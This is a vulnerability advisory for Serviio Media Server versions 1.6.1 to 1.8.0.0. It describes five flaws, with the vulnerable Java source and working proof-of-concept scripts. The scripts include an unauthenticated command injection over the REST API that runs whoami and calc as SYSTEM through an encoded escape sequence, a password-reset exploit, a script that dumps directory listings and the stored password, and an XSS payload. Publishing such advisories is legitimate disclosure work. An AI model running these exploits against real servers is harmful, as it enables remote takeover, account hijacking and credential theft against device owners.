SSD Advisory – Serviio Media Server Multiple Vulnerabilities

Vulnerabilities Summary
The following advisory describes a five (5) vulnerabilities found in Serviio Media Server. Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1.
Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network.
Serviio works with many devices from your connected home (TV, Playstation 3, XBox 360, smart phones, tablets, etc.). It supports profiles for particular devices so that it can be tuned to maximise the device’s potential and/or minimize lack of media format playback support (via transcoding).
Serviio is based on Java technology and therefore runs on most platforms, including Windows, Mac and Linux (incl. embedded systems, e.g. NAS).
The vulnerabilities found in Serviio Media Server are:

  • Remote Code Execution
  • Local Privilege Escalation
  • Unauthenticated Password Modification
  • Information Disclosure
  • DOM-Based Cross-Site Scripting (XSS)

Credit
An independent security researcher Gjoko Krstic from Zero Science Lab has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
We have tried on numerous occasions over the past two months to contact the vendor, all emails sent to them went unanswered.

Vulnerabilities Details
Remote Code Execution
Serviio Media Server is affected by an unauthenticated remote code execution vulnerability due to improper access control enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper calls cmd.exe to execute system commands. A remote attacker can exploit this with a simple JSON request, gaining system access with SYSTEM privileges via a specially crafted request and escape sequence.
Vulnerable Code
Vulnerable file path: org/serviio/ui/resources/server/ActionsServerResource.java

    private ResultRepresentation checkStreamUrl(ActionRepresentation representation) {
        this.validateParameters(representation, 2);
        try {
            MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0));
            String url = StringUtils.trim(representation.getParameters().get(1));
            LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType);
            DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null);
            FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context);
            return this.responseOk();
        }
        catch (InvalidMediaFormatException e) {
            return this.responseOk(603);
        }

Vulnerable file path: serviio.jar / external / ProcessExecutor.java

    private Map<String, String> createWindowsRuntimeEnvironmentVariables() {
        HashMap<String, String> newEnv = new HashMap<String, String>();
        newEnv.putAll(System.getenv());
        ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2];
        i18n[0] = new ProcessExecutorParameter("cmd");
        i18n[1] = new ProcessExecutorParameter("/C");
        for (int counter = 0; counter < this.commandArguments.length; ++counter) {
            ProcessExecutorParameter argument = this.commandArguments[counter];
            String envName = "JENV_" + counter;
            i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%");
            boolean quotesNeededForWindows = this.quotesNeededForWindows(argument);
            if (!quotesNeededForWindows) {
                argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue()));
            }
            newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows));
        }
        this.commandArguments = i18n;
        String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir"));
        newEnv.put("HOMEDRIVE", tempPath[0]);
        newEnv.put("HOMEPATH", tempPath[1]);
        newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables());
        if (log.isTraceEnabled()) {
            log.trace(String.format("Env variables: %s", newEnv.toString()));
        }
        return newEnv;
    }
    private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) {
        return (quotesNeeded ? "\"" : "") + argument + (quotesNeeded ? "\"" : "");
    }
    protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) {
        boolean quotesNeeded = argument.getValue().indexOf(" ") > -1;
        return quotesNeeded;
    }
    private String escapeAmpersandForWindows(String value) {
        return value.replaceAll("&", "^&");
    }

Proof of Concept
The Proof of Concept will create a file testingus3.txt in ‘C:\Program Files\Serviio\bin‘ with whoami output in it and start a calc.exe child process as nt authority\system.

from urllib2 import Request, urlopen
import sys
if (len(sys.argv) <= 1):
        print '[*] Usage: serviio_rce.py <ip address>'
        exit(0)
host = sys.argv[1]
values = """
<action>
    <name>checkStreamUrl</name>
    <parameter>VIDEO</parameter>
    <parameter>1.2.3.4&#x27;&#x5c;&#x22;&#x60;&#x26;&#x77;&#x68;&#x6f;&#x61;&#x6d;&#x69;&#x20;&#x3e;&#x74;&#x65;&#x73;&#x74;&#x69;&#x6e;&#x67;&#x75;&#x73;&#x33;&#x2e;&#x74;&#x78;&#x74;&#x26;&#x26;&#x63;&#x61;&#x6c;&#x63;&#x26;&#x60;&#x27;</parameter>
</action>"""
headers = {
  'Content-Type': 'application/xml',
  'Accept': 'application/xml'
}
request = Request('http://'+host+':23423/rest/action', data=values, headers=headers)
response_body = urlopen(request).read()
print response_body
'''
Raw request:
POST /rest/action HTTP/1.1
Host: 10.211.55.3:23423
Content-Length: 93
Accept: application/json, text/plain, */*
Origin: http://10.211.55.3:23423
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://10.211.55.3:23423/console/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close
{"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'"]}
'''


Local Privilege Escalation
Serviio Windows application suffers from an unquoted search path issue impacting the service ‘Serviio’ as part of Serviio DLNA server solution. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application.
Serviio also suffers from improper permissions which can be used by a simple authenticated user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the ‘F’ flag (Full) for ‘Users’ group, for the Serviio directory and its sub-directories.
Proof of Concept

C:\>sc qc Serviio
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Serviio
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Serviio\bin\ServiioService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Serviio
        DEPENDENCIES       : HTTP
        SERVICE_START_NAME : LocalSystem
C:\>icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
C:\Program Files\Serviio\bin\ServiioService.exe BUILTIN\Users:(I)(F)
                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                BUILTIN\Administrators:(I)(F)
Successfully processed 1 files; Failed processing 0 files
C:\>

Unauthenticated Password Modification
Serviio suffer from unauthenticated password modification vulnerability due to improper access control enforcement of the Configuration REST API. A remote attacker can exploit this, via a specially crafted request, to change the login password for the mediabrowser protected page.
Proof of Concept

import sys
import xml.etree.ElementTree as ET
from urllib2 import Request, urlopen
if (len(sys.argv) <= 3):
        print '[*] Usage: serviio_pwd.py <ipaddress> <port> <newpassword>'
        print '[*] Example: serviio_pwd.py 10.211.55.3 23423 eagle20fox2'
        exit(0)
host = sys.argv[1]
port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424.
lozi = sys.argv[3]
values = """
<remoteAccess>
    <remoteUserPassword>{0}</remoteUserPassword>
    <preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality>
    <portMappingEnabled>true</portMappingEnabled>
    <externalAddress>myserviio.dyndns.com</externalAddress>
</remoteAccess>"""
put = values.format(lozi)
headers = {
  'Content-Type': 'application/xml',
  'Accept': 'application/xml'
}
request = Request('http://'+host+':'+port+'/rest/remote-access', data=put, headers=headers)
request.get_method = lambda: 'PUT'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)
for errorcode in roottree.iter('errorCode'):
     print "\nReceived error code: "+errorcode.text
print 'Password successfully changed to: '+lozi
print 'Go to: http://'+host+':23424/mediabrowser\n'

Information Disclosure
Serviio suffer from information disclosure vulnerability due to improper access control enforcement of the Configuration REST API. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to gain access to potentially sensitive information.
Proof of Concept

import sys
import xml.etree.ElementTree as ET
from urllib2 import Request, urlopen
if (len(sys.argv) <= 2):
        print '[*] Usage: serviio_id.py <ip address> <port>'
        print '[*] Example: serviio_id.py 10.211.55.3 23423'
        exit(0)
host = sys.argv[1]
port = sys.argv[2]
headers = {'Accept': 'application/xml'}
request = Request('http://'+host+':'+port+'/rest/import-export/online', headers=headers)
print '\nPrinting ServiioLinks:'
print '----------------------\n'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)
for URLs in roottree.iter('serviioLink'):
     print URLs.text
print
headers = {'Accept': 'application/xml'}
#request = Request('http://'+host+':'+port+'/rest/list-folders?directory=C:\\', headers=headers)
request = Request('http://'+host+':'+port+'/rest/list-folders?directory=/etc', headers=headers)
print '\nPrinting directories:'
print '---------------------\n'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)
for URLs in roottree.iter('path'):
     print URLs.text
print
headers = {'Accept': 'application/xml'}
request = Request('http://'+host+':'+port+'/rest/remote-access', headers=headers)
print '\nPrinting mediabrowser password:'
print '-------------------------------\n'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)
for URLs in roottree.iter('remoteUserPassword'):
     print URLs.text
print

DOM-Based Cross-Site Scripting (XSS)
Serviio is vulnerable to a DOM-based cross-site scripting. Data is read from document.location and passed to document.write() via the following statement in the response: document.write(‘<base href=”‘ + document.location + ‘” />’); This can be exploited to execute arbitrary HTML and script code in a user’s browser DOM in context of an affected site.
Proof of Concept
An attacker sends the following request:

http://172.19.0.214:23424/mediabrowser/#/browse/V_F?title=Folders&b=Home&b=Video&bid=0">&lt;script>alert("ZSL")</script>

Element response:

<base href="http://172.19.0.214:23424/mediabrowser/#/login?title=Folders&amp;b=Home&amp;b=Video&amp;bid=0%22%3E%3Cscript%3Ealert(%22ZSL%22)%3C%2Fscript%3E">